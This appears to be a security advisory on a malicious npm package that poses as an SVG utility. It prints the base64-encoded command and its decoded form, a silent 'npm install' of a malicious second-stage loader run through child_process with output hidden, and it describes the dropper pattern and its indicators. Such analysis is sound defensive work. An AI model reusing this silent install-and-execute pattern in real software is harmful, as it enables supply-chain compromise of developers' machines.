GCVE-110-OSM-2026-9528

The base64 string `bnBtIGluc3RhbGwgbm9kZS1pbnRlcm5hbC1zdmctbG9hZGVyIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==` decodes to `npm install node-internal-svg-loader --no-save --silent --no-audit --no-fund`, which is silently executed via `child_process.spawn` with `stdio: 'ignore'` and `windowsHide: true`. After installation, `checkPlugin()` requires `atob(svgValidatePattern)` which decodes to `node-internal-svg-loader` and invokes its `getPlugin()` method — a classic dropper/stager pattern where this package installs and executes a second-stage payload. `node-internal-svg-loader` is already confirmed malicious (critical severity, threat_id 701c38a9) and is published by the same account (`npm-chain-dev1`, publisherMaliciousRatio = 1.0). The SVG utility facade is purely cover; no legitimate SVG processing requires silently installing a peer package at runtime. ENTRY index.js (main: index.js) EXFIL - System Information Collection in index.js: "process.platform" OBFUSCATION - Dynamic Base64 Decoding in index.js: "atob(svgValidateKey)" - Base64 Encoded Payload in index.js: ""bnBtIGluc3RhbGwgbm9kZS1pbnRlcm5hbC1zdmctbG9hZGVyIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5..." - Decoded Base64 Content in index.js (x2) - Decoded Base64 Content in [deobfuscated] index.js (x2) - Strings Extracted from Deobfuscated Code in index.js ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Silent Process Execution in index.js: "stdio: 'ignore'" - Brand New Package - Publisher Has Other Malicious Packages PAYLOAD FILES index.js